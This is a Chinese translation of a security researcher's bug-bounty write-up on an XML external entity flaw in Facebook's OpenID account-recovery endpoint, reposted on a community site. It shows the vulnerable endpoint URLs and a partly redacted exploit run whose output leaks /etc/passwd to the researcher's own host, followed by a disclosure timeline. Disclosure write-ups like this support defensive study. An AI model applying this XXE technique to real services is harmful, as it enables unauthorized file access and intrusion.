设为首页收藏本站

LUPA开源社区

 找回密码
 注册
文章 帖子 博客
LUPA开源社区 首页 业界资讯 技术文摘 查看内容

我如何发现Facebook服务器中的远程代码执行漏洞

2014-2-12 11:45| 发布者: 红黑魂| 查看: 10837| 评论: 0|来自: 伯乐在线

摘要: 大家好!首先我做一下自我介绍。我叫ReginaldoSilva,是一名巴西籍的计算机工程师。最近我的工作与信息安全有关,尤其是在Web应用程序安全性的方面。如果可以的话,我很乐意给大家演示如何入侵网站和应用程序。我的 ...

大家好!首先我做一下自我介绍。我叫Reginaldo Silva,是一名巴西籍的计算机工程师。最近我的工作与信息安全有关,尤其是在Web应用程序安全性的方面。如果可以的话,我很乐意给大家演示如何入侵网站和应用程序。我的主页上有一些相关信息,欢迎大家浏览。

今天,我想讲一下我发现一个影响Facebook的远程漏洞代码的过程。正如一般的故事开头那样,这一过程也是在很长时间以前就开始了(实际上仅仅是一年多,但我一然感觉很漫长)。如果你觉得这个话题很有趣,或者想让我帮你在你的(或你公司的)代码中做一些有关审查和渗透测试的安全问题,请发邮件给我。我的邮箱是reginaldo@ubercomp.com

2012年的9月22日对我来说是个特别的日子,因为那天我发现了一个XML外部实体扩展(XXE)漏洞,它能影响Drupal管理OpenID的那部分功能。XML外部实体的功能很强大,它能读文件系统中的所有文件,能连接任意网络。如果你想寻求刺激,你可以用billion laughs进行DoS攻击。

最开始我并没有在意其他人也存在这样的漏洞,当我发现时,我立即将其提交到CVE上。这是我的第一个贡献,所以从那以后我将这条信息写在了简历上(这条漏洞的编号是CVE-2012-4554)。五天后,我突然想到OpenID的应用很广,因此,其它地方也可能存在这样的漏洞。我检查了一下StackOverflow的登录方式,发现的确存在漏洞,而且可危及整个网站。

然后,我准备查找谷歌服务器中的OpenID 代码。虽然我无法打开文件,无法进行网络连接,但谷歌的应用引擎和博客平台都很容易受到DoS攻击。这个漏洞让我赚到了第一桶金,大约有500美元。

在向谷歌报告了这个漏洞后,我又测试了几个实例,最后发现,这个漏洞正在危及许多系统。这里就不列举具体内容了,但是用Java, C#, PHP, Ruby, Python, Perl等语言编写的运行库或多或少都存在问题。不公布的原因是因为这些系统实在太脆弱了。一个了解安全机制的人可以读取OpenID 和XML外部实体,然后就能一段恶意代码进行攻击。哎呀,我有些跑题了。

之后我联系了一些编写OpenID库的开发者,有些作者只把安全列表托管在了OpenID基金会上面,我又给他们发了一篇题为“一个可以掌控一切的漏洞:运用XML外部实体实现 OpenID中的脆弱性”的邮件来说明这一问题。我想大部分库作者都是列表中的成员,所以补丁将会发给他们每个人。我自以为做得很好了,事实上,我才走了一小步而已。

跟我经常交流的读者依然有这样的问题:Facebook的远程代码执行漏洞到底是什么?它竟然使我们做到这种程度。过去,Facebook使用OpenID进行登录。然而,当我在2012年第一次发现OpenID漏洞的时候,我就找不到任何能进入任意OpenID网址的终结点。以前可以在

1
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=fals

e 动些手脚,现在consumer_helper.php节点已经关闭了。一年后我以为Facebook的安全性有所提高,但我又测试了一下忘记密码得到了这样的结果:

1
https://www.facebook.com/openid/receiver.php

那时候我开始怀疑Facebook还是存在一年前我发现的那个漏洞的危害。然后我做了许多测试证明了这个猜想。简言之,如果你忘记密码了,你可以向Facebook说明你有一个@gmail.com的邮箱,然后登录自己邮箱后,把自己的信息提交给Facebook。这实际上是用邮箱登进Facebook的,这种登录方式就是基于OpenID的。到目前为止,一切都进展的不错,只是我自己遇到了些问题。我知道,由于工作的失误,OpenID的依赖方需要向已被控制的OpenID提供商(OP)发送一个Yadis发现请求,比如说http://www.ubercomp.com/。然后我的恶意提供商就会回复一个恶意的XML,它被依赖方解析,从而遭受XXE攻击。

因为我没有干预原始的OpenID请求(Facebook 与 Google之间的直接请求),实际上我没有机会进入在我控制下的作为OpenID标示符的网址,也没有让Facebook发送Yadis发现请求到这个网站。所以,我想这种错误应该不会发生了,除非我能获取谷歌到Facebook的那段恶意XML,而这种可能性极低。幸运的是,我错了。在仔细阅读了OpenID 2.0规范后,第11.2节验证发现的信息写到:

如果声明的标示符没有事先告诉依赖方(“openid标识”可以是“http://specs.openid.net/auth/2.0/identifier_select”,或是不同的标示符,或是OP发送的标识判断),依赖方必须提出来,以确保该OP有权对声称的身份标识做出判断。

我看了一下,openid标识果真是http://specs.openid.net/auth/2.0/identifier_select。实际上许多系统使用的都是这个。在几分钟后,我向 https://www.facebook.com/openid/receiver.php 发了一个请求,它可以让Facebook向一个被我控制的网站发送一个Yadis请求。之后会返回包含恶意XML的响应。 当我向Facebook服务器请求打开/dev/random,服务器不会返回响应,而且几分钟后请求会失效。即使如此,我还是不能打开任意文件。我尝试了许多XXE,包括各种组合和参数实体,但还是一无所获。然后我突然意识到在此过程中是存在一些问题的,改正之后……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
*   Trying 31.13.75.1... connected
* Connected to www.facebook.com (31.13.75.1) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
    &context=account_recovery&protocol=http&request_id=1
    &openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
    &openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:
 
http://fb.me/p3p"
 
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location: http://www.facebook.com/openid/xrds.php
< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;
    path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
    path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
    %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
    %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
    %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
    path=/; domain=.facebook.com
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
    %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
    %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
    %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
    path=/; domain=.facebook.com
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
    function b(c) {
        for (var d in a) c[d] = a[d];
    }
    if (window.requireLazy) {
        window.requireLazy(['Env'], b);
    } else {
        Env = window.Env || {};
        b(Env);
    }
}
envFlush({
    "user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
  Bootloader.done(["ASVup"]);</script>
</head>
 
<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
    "\/2NZV": {
        "type": "js",
        "crossOrigin": 1,
        "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
    },
    "GduTW": {
        "type": "js",
        "crossOrigin": 1,
        "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
    }
});
</script>
<script type="text/javascript">
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
</script>
<script type="text/javascript">
Bootloader.configurePage([]);
Bootloader.done([]);
 
 
require("InitialJSLoader").handleServerJS({
    "require": [
        ["OnloadHooks"],
        ["lowerDomain"]
    ]
});
 
onloadRegister_DEPRECATED(function () {
    openid_submit_response({
        "__ar": 1,
        "error": 1428005,
        "errorSummary": "Error while processing response",
        "errorDescription": {
            "__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
        },
        "payload": null,
        "bootloadable": {},
        "ixData": []
    }, 1)
});
</script>
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0

没错,响应中包含了Facebook的/etc/passwd。现在,我们可以随意访问了。我觉得我发现了通向王国的道路。通过Facebook 服务器视图节点能够读取任意文件和进行网络连接,视图节点不需要代理,这可是 Facebook不惜高成本建立的。随后我又有了新想法,觉得应该将其形成一个完整远程执行程序。

网络中漏洞奖励计划是非常好的方式,它也有自己的规则:不管何时发现了漏洞,请不要犹豫。将其按程序提交,安全小组会全面考虑,并向支付相应的报酬。起初,我并不信任 Facebook的安全小组,并且认为他们不会把我提交的漏洞看做是远程代码执行漏洞。我不想造成误解,所以我决定立即提交,然后我申请了一个权限进行RCE升级。升级完毕后,它可以正常运行。我想这应该没什么问题了。因为大部分漏洞都需要花很长时间来处理,我有足够的时间升级RCE,同时我觉得我是一个优秀的白帽黑客。在写完漏洞报告后,我决定出去走走,顺便吃个午餐,回来之后继续工作。

然而,我又错了,因为这是一个严重的漏洞,吃过午饭后,我加快了速度。我把报告发出去不到2个小时,让我既难忘又难过,但因为我知道如何升级远程代码执行漏洞,我将如何修复告诉了安全小组。当他们测试攻击是否有效时,我很相信他们给出的结论。我为我的作为而高兴。在接到一些反馈和4封邮件后,安全小组确认我的攻击是安全的,我发现的RCE的确能影响他们的服务器。

所以这就是攻击的入口,即我迄今发现的第一个高冲击漏洞。它大概也是悬赏最高的漏洞之一。另外,我还可以吹牛说我攻入了Facebook……不错,是吧?顺便说一句,安全小组的成员也写了一篇关于这事的文章。

欢迎加入黑客新闻进行讨论。

事件时间点

所有时间以格林威治标准时间。不重要的信息我就不提了。

  •  2013-11-19 15:51: 写报告
  •  2013-11-19 17:37: 安全小组成员Godot感谢我的发现
  •  2013-11-19 17:46: 我得到了可以读任意文件的答复
  •  2013-11-19 19:31: 安全小组成员 Emrakul通知我短暂的修复将持续30分钟。
  •  2013-11-19 20:27: 我确信漏洞已被修复。
  •  2013-11-21 20:03: 获得酬金。安全小组说这是他们目前支付的最高金额。
  •  2013-11-22 2:13: 我发了封邮件,询问安全小组把漏洞看做是RCE还是仅仅是文件泄露。
  •  2013-11-23 1:17: 安全小组回复说,他们认为攻击不能升级到RCE。
  •  2013-11-23 19:54: 我解释说明如何进行升级
  •  2013-11-24 21:23: Facebook 回复说我的攻击起作用了,他们会进行处理的。
  •  2013-12-03 4:45:  Facebook 通知我说修复会持续一段时间,他们准备讨论一个新的报酬计划。
  •  2013-12-03 19:14: 我双手交叉,向他们表示感谢。
  •  2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章,Ryan负责管理Facebook的事件响应单元,他说“如果有一个价值百万美元的漏洞,那么我们愿意支付”。然后又询问了一下他们是否有新消息。
  • 2013-12-30 4:45: Facebook通知我说漏洞已经成为了RCE,所以费用会更高。我不会透漏具体数额,你可以猜一猜,然后说出来。当然我也不会得到一百万那么多,我引用McGeehan的话仅仅是为了娱乐一下,不要当真。

 


原文链接: Reginaldo Silva   翻译: 伯乐在线 smilesisi
译文链接: http://blog.jobbole.com/58179/

酷毙

雷人
1

鲜花

鸡蛋

漂亮

刚表态过的朋友 (1 人)

  • 快毕业了,没工作经验,
    找份工作好难啊?
    赶紧去人才芯片公司磨练吧!!

最新评论

关于LUPA|人才芯片工程|人才招聘|LUPA认证|LUPA教育|LUPA开源社区 ( 浙B2-20090187 浙公网安备 33010602006705号   

返回顶部